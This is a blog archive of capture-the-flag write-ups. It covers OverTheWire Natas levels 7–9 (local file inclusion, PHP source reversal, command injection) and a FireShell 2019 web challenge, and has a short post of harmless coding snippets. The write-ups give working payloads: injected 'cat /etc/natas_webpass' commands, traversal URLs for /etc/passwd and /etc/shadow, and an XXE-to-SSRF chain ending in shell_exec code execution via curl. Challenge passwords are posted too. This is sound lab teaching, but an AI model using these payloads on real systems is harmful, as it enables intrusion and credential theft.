Category Archives: Programacion

CTF OverTheWire: Natas9

Leave a reply

Continuing with the CTF Natas series, now is the turn for natas9

Natas Level 8 → Level 9
Username: natas9
URL:      http://natas9.natas.labs.overthewire.org

Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.

It’s just a simple web page with a basic input form, if we type nonsense nothing happens, we proceed to click the View sourcecode and we are redirected to index-source.html

This is supposed to be the backend code of the html form.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

The vulnerability in this code happens when calling the passthru function, we are reading user input directly from the needle request parameter, then saving it into the $key variable and using it without any kind of sanitization when calling the function, that’s essentially command injection. We are going to try to execute commands in the web server by exploiting this vulnerability.

Sending ;ls -la;

Results in all files on the current directory to be listed

I was a little bit lost at this point but then I remember the CTF instructions.

Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

So we do ;cat /etc/natas_webpass/natas10;

The flag for the next level, natas10, is: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

As mentioned before, this challenge we exploit a command injection vulnerability that essentially allow us to execute arbitrary commands on the server, depending on the privileges of the user running the web server we might read, write or delete files.

Happy hacking 🙂

Commands and Code Snippets I usually forget

Leave a reply

Some commands and code snippets I use rarely during CTFs or my daily work, but still I need them from time to time and I’m very lazy to remember them. This note may grow over time.

Javascript

Playing with dec, hexa and bin (not really) in JS
String.fromCharCode(0x41) // 'A'

parseInt('0xf', 16) // 15

var n = 15

n.toString(16) // 'f'
n.toString(2) // '1111'
n.toString() // '15'

var n = 'A'
n.charCodeAt() // 65
// dec to hex
n.charCodeAt().toString(16) // '41'
// dec to bin
n.charCodeAt().toString(2) // '1000001'
// dec to hex
parseInt(255).toString(16) // 'ff'
// dec to bin
parseInt(5).toString(2) // '101'
Simple HTTP GET request using nodejs
const https = require('https');

https.get('https://www.alevsk.com', (resp) => {
  let data = '';
  resp.on('data', (chunk) => {
    data += chunk;
  });
  resp.on('end', () => {
    //DO something with data
  });
}).on("error", (err) => {
  console.log("Error: " + err.message);
});
Simple HTTP POST request using nodejs
const https = require('https')

const data = JSON.stringify({
  todo: 'Buy the milk'
})

const options = {
  hostname: 'whatever.com',
  port: 443,
  path: '/todos',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': data.length
  }
}

const req = https.request(options, res => {
  res.on('data', d => {
    process.stdout.write(d)
  })
})

req.on('error', error => {
  console.error(error)
})

req.write(data)

req.end()
Extract content between regular expression patterns using JS
const message =  data.match(/<p>([^<]+)<\/p>/)[1];
const lat =  data.match(/name="lat" value="([^<]+)" min=/)[1];
const long =  data.match(/name="lon" value="([^<]+)" min=/)[1];
const token =  data.match(/name="token" value="([^<]+)"/)[1];

Linux

Mount NTFS on Linux
mount -t ntfs [FILE] [PATH]
mount -t type device directory
Extract extended attributes from NTFS disk
getfattr --only-values [FILE] -n [ATTR-NAME] > file
Parsing file with awk and run xargs
cat [FILE] | awk '{print $1 .. $n}' | xargs

Python

Start Simple HTTP server with Python
python -m SimpleHTTPServer
Inline Python commands
python -c 'print "\x41" * 20'

PHP

Run PHP interactive mode
php -a

CTF OverTheWire: Natas8

Leave a reply

After a break we continue with the CTF Natas series, now is the turn for natas8

Natas Level 7 → Level 8
Username: natas8
URL:      http://natas8.natas.labs.overthewire.org

Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.

It’s just a simple web page with a basic input form, if we type nonsense we get an error message displaying Wrong secret, we proceed to click the the View sourcecode

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

This is supposed to be the backend code of the HTML page we just saw, the important part of this challenge is in the PHP code functions, taking a quick look the data flow looks like this:

  • Check if submit key exists on $_POST
  • Pass $_POST[‘secret’] to encodeSecret function
  • encodeSecret function will apply some transformation to the secret and return it
  • The transformed secret must be equal to 3d3d516343746d4d6d6c315669563362, otherwise we are getting the Wrong secret error we saw already

As I say before, the important part is happening inside the encodeSecret function, the code is basically doing this:

secret -> base64_encode -> strrev -> bin2hex -> 3d3d516343746d4d6d6c315669563362

So we need to perform exactly the same operations but in reverse order to obtain the original secret, ie: the old bin2hex should be hex2bin, I don’t know if we should call this reverse engineering, anyway ¯\_(ツ)_/¯

3d3d516343746d4d6d6c315669563362 -> hex2bin -> strrev -> base64_encode -> secret

We can use PHP from the command line and do this:

$ php -r "echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));"
oubWYf2kBq
$

We get the secret: oubWYf2kBq, we try it on the input form.

The flag for the next level, natas9, is: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

In this challenge we take advantage of a security vulnerability called Source code disclosure and then we did basic reverse engineering on the PHP code.

Happy hacking 🙂

FireShell CTF 2019 – Bad Injections (WEB)

Leave a reply

Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.

This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂

The challenge starts by giving us an IP address running a web server on the Internet:
http://68.183.31.62:94

There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.

<div class='ui center aligned container'>
  <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/>
  <img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="50t0"/>  
</div>

The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.

This looks like a code disclosure vulnerability so we start by trying to download the index.php file:

http://68.183.31.62:94/download?file=index.php&hash=828e0013b8f3bc1bb22b4f57172b019d
And the result is: 
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }

}

In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.

http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211
The Routes.php file is huge but there are two route functions that seems interesting 
Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.

The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from 127.0.0.1 which is localhost, if this is true then the sort function from the Admin class is called.

Here are some other Interesting files I downloaded based on what we learned from the index.php file.

http://68.183.31.62:94/download?file=/app/Controllers/Custom.php&hash=55fdef99c788af643d2676ac21ada5f4
http://68.183.31.62:94/download?file=/app/Controllers/Admin.php&hash=42c58ba0a247b5c76bce27387e90b99f
http://68.183.31.62:94/download?file=/etc/passwd&hash=c5068b7c2b1707f8939b283a2758a691
http://68.183.31.62:94/download?file=/etc/shadow&hash=2fe8599cb25a0c790213d39b3be97c27
http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211

We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }
}

The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    if($xml){
     //echo count($xml->channel->item);
     //var_dump($xml->channel->item->link);
     $data = [];
     for($i=0;$i<count($xml->channel->item);$i++){
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     }
     //var_dump($data);
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
     echo '<div class="ui list">';
     foreach($data as $dt) {

       $html = '<div class="item">';
       $html .= ''.$dt->id.' - ';
       $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>';
       $html .= '</div>';
     }
     $html .= "</div>";
     echo $html;
    }else{
     $html .= "Error, not found XML file!";
     $html .= "<code>";
     $html .= "<pre>";
     $html .= $file;
     $html .= "</pre>";
     $hmlt .= "</code>";
     echo $html;
    }
  }

}

That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.

Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.

I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=https://www.alevsk.com">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d

In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:

$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;

The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂

Now, instead of querying https://www.alevsk.com we are going to do a request to http://68.183.31.62:94/admin?rss=SOME_URL&order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.

Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.

According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.

The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.

After some thinking I came with this idea, I’ll explain why.

$order = id, null) && die(shell_exec('ls -la /')); ($aaa="

The original piece of code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

When I replace the $order variable with my payload the final code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=",$b->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=");'));

Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).

Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.

Putting everything together looks like this.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2197  100  1892  100   305   6348   1023 --:--:-- --:--:-- --:--:--  7347
total 116
drwxr-xr-x   1 root root 4096 Dec 26 18:10 .
drwxr-xr-x   1 root root 4096 Dec 26 18:10 ..
-rwxr-xr-x   1 root root    0 Dec 25 23:47 .dockerenv
drwxr-xr-x   1 root root 4096 Dec 25 23:50 app
drwxr-xr-x   1 root root 4096 Dec  4 15:47 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
-rwxr-xr-x   1 root root 1122 Feb 15  2016 create_mysql_admin_user.sh
-rw-r--r--   1 root root   31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7
drwxr-xr-x   5 root root  360 Dec 25 23:47 dev
drwxr-xr-x   1 root root 4096 Dec 25 23:55 etc
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
drwxr-xr-x   1 root root 4096 Feb 15  2016 lib
drwxr-xr-x   2 root root 4096 Jan 19  2016 lib64
drwxr-xr-x   2 root root 4096 Jan 19  2016 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Jan 19  2016 opt
dr-xr-xr-x 331 root root    0 Dec 25 23:47 proc
drwx------   1 root root 4096 Dec 26 18:10 root
drwxr-xr-x   1 root root 4096 Feb 15  2016 run
-rwxr-xr-x   1 root root  549 Feb 15  2016 run.sh
drwxr-xr-x   1 root root 4096 Jan 19  2016 sbin
drwxr-xr-x   2 root root 4096 Jan 19  2016 srv
-rwxr-xr-x   1 root root   67 Feb 15  2016 start-apache2.sh
-rwxr-xr-x   1 root root   29 Feb 15  2016 start-mysqld.sh
dr-xr-xr-x  13 root root    0 Jan 26 19:06 sys
drwxrwxrwt   1 root root 4096 Jan 27 03:30 tmp
drwxr-xr-x   1 root root 4096 Feb 15  2016 usr
drwxr-xr-x   1 root root 4096 Feb 15  2016 var

The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

Happy hacking 🙂

CTF OverTheWire: Natas7

Leave a reply

Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas7.

Natas Level 6 → Level 7
Username: natas7
URL:      http://natas7.natas.labs.overthewire.org

Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.

Inspeccionamos el código fuente de la pagina y observamos un par de cosas interesantes:

Vemos dos hypervinculos (index.php?page=home y index.php?page=about) y un comentario que dice:

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

Dependiendo el valor del parámetro page el contenido de la pagina cambia, todo apunta a que estamos ante una vulnerabilidad de tipo Local File Inclusion, escribimos texto aleatorio solo para verificar la vulnerabilidad.

Efectivamente podemos ver la ruta del archivo php en el servidor (path disclosure), debido a esta vulnerabilidad podemos leer cualquier archivo al que el usuario que ejecuta el servidor web tenga acceso, por ahora solo nos centraremos en obtener la bandera del reto con http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

La bandera para acceder a natas8 es DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

En este reto aprovechamos un fallo de seguridad llamado Local File Inclusion, con el que es posible leer otros archivos que no son accesibles directamente en el servidor.

Happy hacking 🙂